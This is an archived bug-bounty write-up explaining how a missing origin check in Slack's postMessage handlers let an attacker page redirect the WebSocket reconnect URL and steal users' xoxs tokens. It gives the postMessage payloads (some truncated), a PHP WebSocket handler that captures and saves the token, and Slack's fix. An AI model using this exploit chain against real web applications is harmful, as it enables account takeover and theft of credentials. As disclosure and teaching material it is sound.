

Hacking Slack using postMessage and WebSocket-reconnect to steal your precious token

Hacking Slack using postMessage and WebSocket-reconnect to steal your precious token -

Author not stated, labs.detectify.com.

- Published: date not stated
- Original: <<https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token/>>
- Preserved from: <https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token/> (stored) on 2026-08-09
- Capture timestamp: 20170311163851
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

TLDR; I was able to create a malicious page that would reconnect your Slack WebSocket to my own WebSocket to steal your private Slack token. [Slack fixed the bug in 5 hours \(on a Friday\) and paid me \\$3,000 for it.](#)

Recently a bug I found in Slack was published on HackerOne and I wanted to explain it, and the method I used to discover it.

Background

Using `window.addEventListener('message', func)` and `window.postMessage()` to pass messages is a really convenient way of performing Cross-Origin communication. However, the biggest pitfall ([which we've covered multiple times before](#)) is not checking the `origin` of the message.

Last week I was cruising around on Slack, using the version in the browser. In Chrome, there's a really neat way of watching if any object has any listeners. You can find it below `Event Listeners` in the `Elements`-tab:

[\[image: image\]](#)

I noticed this was indeed the case for Slack, they were passing messages to a listener on the `window`-object.

The listener function started like this:

```

var _receivePostedMessageFromChildWindow = function(evt) {
  if (!evt || !evt.data || !evt.data.message_type) {
    TS.utility.calls_log.logEvent({
      event: _utility_calls_config.log_events.invalid_msg_from_child_window,
      value: evt
    });
    return
  }
  if (evt.data.origin_window_type === TS.utility.calls.window_types.call_window) {
    switch (evt.data.message_type) {
      case TS.utility.calls.messages_from_call_window_types.update_mini_panel:
        ...
        break;
      case TS.utility.calls.messages_from_call_window_types.set_call_window_loaded:
        ...
        ...
    }
  }
}

```

As you see, nowhere did they validate the `evt.origin` or `evt.source` being sent with the message. These two are read-only properties that cannot be spoofed. Not validating them was a clear indication to me that I could start do fun stuff, like accessing the functions using `postMessage` to this window from another window I controlled.

Creating a proper PoC

Now, just submitting that they were missing a origin-validation is not fun at all and would likely not show them the true severity of the issue. I had to come up with a better exploit scenario by looking through the code.

The first challenge I had to overcome was:

If I would like to attack anyone with my payload, how would I know what team-URL I should use? Quickly, I noticed that `https://my.slack.com` would redirect to your current Slack-instance. That was awesome.

Now, looking through all events I could send, I noticed they had done a good job of ensuring the calls were safe. Even though I could actually control the browser notifications sent by Slack, or switch to another chat, none of the events was punchy enough.

A boring PoC could have been: "I can shut down your call to someone, if you open my malicious page first and then call them".

[image: image]

While digging deeper, I also noticed that there were a lot of references to calls being made:

```
if (event.data.message_type !== TS.utility.calls.messages_to_call_window_types.ms_msg && !event.data.reply_to) {
  TS.utility.calls_log.logEvent({
    event: _calls_config.log_events.message_from_parent_window,
    value: event.data
  })
}
```

This made it clear that a big chunk of this functionality was due to the actual call-functionality in Slack:

[image: image]

This function, when being used, resides in another window but communication actually had to be made with the main Slack-window, this was a big reason why they had implemented `postMessage`. Looking at the `/call` endpoint, I noticed that it also had the same issue, not verifying the origin of the messages. However, there were actually more interesting events here. Exciting! (I'll get to that in a bit)

The problem I had though was that the `/call`-endpoint needed a slug, like `/call/UXXXX` using an ID of a group or a user. This brought me back to my original challenge, "How can I do the attack on anyone, even outside my team?".

Playing with Slack's route, I noticed that the slug `me` would actually work. So by using the following URL:

```
https://slack.com/call/me
```

it would route you to `/call/` (which weirdly enough breaks if you reload the page) on your current instance.

[image: image]

I now had:

- a redirect to the user's current Slack-instance.
- a page using the other end of the `postMessage`-dance, which we should be able to find something fun to play with in the list of events.
- a URL that would work for any Slack-user.
- a non-working page, BUT(!) it was using a `postMessage`-listener. [image: image]

This was everything I needed.

Event digging

Now, looking through the events that were possible to send, there was one which stood out to me:

[image: image]

Using the breakpoint mode in Chrome, we traverse down this function. Inside it, there was another chunk of message-handlers:

[image: image]

So what this meant was due to the non-verification of origins, I was able to control messages being parsed by the main application. I was also able to control messages being sent to the call-window, and one of the events in this window, had another chunk of functions exposed to cross-domain control if I used the event:

```
"origin_window_type": "incoming_call", "message_type": "ms_msg"
```

At this point I became certain it was only a matter of time until I found an interesting PoC to give to the Slack team.

Pinpointing interesting events

So, yea, I tried a lot of events. This was the list I had to play with:

```
accounts_changed(), apps_changed(img), bot_added(img), bot_changed(img), bot_removed(img), channel_archive(i
```

Now, I was really interested in the `reconnect_url` event since it was so basic and also had a clear issue when abusing it:

```
if (!TS.ms.fast_reconnects_enabled)
    return;
var url = img.url;
TS.ms.setReconnectUrl(url)
```

What it does is basically switch the WebSocket-URL being used for Slack. Now, the initialization of WebSockets are being done with a GET-event using a bunch of parameters. One of the params is called `token` and contains a `xoxxs`-token which has full and complete access to your Slack-account.

[image: image]

So I started a local WebSocket myself. I used [Ratchet](#) which was easy to set up. I didn't really need a complete socket, only something that would respond properly to the init-request. I modified the `onOpen`-request to look like this:

```
public function onOpen(ConnectionInterface $conn) {
    // Store the new connection to send messages to later
    $this->clients->attach($conn);
    $token = $conn->WebSocket->request->getQuery()['token'];
    echo sprintf("WE GOT TOKEN: %s\n", $token);
    file_put_contents('token.txt', $token);
    echo "New connection! ({ $conn->resourceId })\n";
}
```

It would just dump the token locally. I then started to test sending messages to the window using the console to see if it would connect to my socket instead:

```
window.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"
```

It didn't. Since the connection was already made with the original WebSocket, it didn't initiate a reconnect when calling the event. But when I looked at the handler-list, I noticed there's also a method called `goodbye` :

```
goodbye: function(msg) {  
  if (!TS.lazyLoadMembersAndBots())  
    return;  
  TS.info("Got a goodbye message, so disconnecting from the MS");  
  TS.ms.disconnect()  
},
```

Now it turns out that Slack had a setting called `fast_reconnects_enabled` set to `true`. This one made it possible for me to run the `reconnect_url`-event, then run the `goodbye`-event to make it reconnect. I had a lot of issues with it in the beginning, as it was giving me long delay reconnect-times, so it wasn't really clear it would work.

Building it all together

When putting everything together this was what I had:

- We start our own web-socket, which only has one job, to listen to the token parameter being sent, saving it on the server.
- When the victim clicks the link on our malicious page, we open a new window sending the victim to `https://slack.com/call/me` and save the reference of the window as `var b`.
- We also start a little polling-script that looks if our WebSocket took the token from the request.
- We then send the following `postMessage` to reset the socket-URL:

```
b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconr
```

- Every 2 seconds we also run the `goodbye`-call to make sure the socket connection gets interrupted:

```
b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"goodby
```

- As soon as the slack.com-window connects to our own socket, we dump the token, which our polling will find, then use it to gather data from the `auth.test` endpoint in the Slack API using the `xoxs`-token.

We have successfully stolen the token from the user.

[image: The token is redacted, you know.. :)]

I made a short movie to show the scenario when everything runs together:

Mitigation

The solution Slack made was to validate the `origin` from the messages using the following technique:

```
if (!TS.utility.calls.verifyOriginUrl(event.origin)) {
  return
}
...
verifyOriginUrl: function(originHref) {
  return TS.utility.url.getHostName(originHref) == window.location.hostname
},
...
getHostName: function(url) {
  if (!url)
    return "";
  var a = document.createElement("a");
  a.href = url;
  return a.hostname
},
```

Update: Slack corrected the fix to the one above due to a separate report made by another person, being able to post messages using an empty `event.origin`. [The bypass was also posted in a Reddit comment.](#)

I sent the report to Slack on a Friday evening. They responded 33 minutes after my initial report and had a fix out 5 hours after that. Amazing.

Thank you Slack for a quick fix, and the bounty of \$3,000.

Link: [Report #207170 Stealing xoxs-tokens using weak postMessage / call-popup redirect to current team](#)

Until next time.

Author: **

Frans Rosén Knowledge Advisor [@fransrosen](#)

Thanks to yaworsk for proof reading.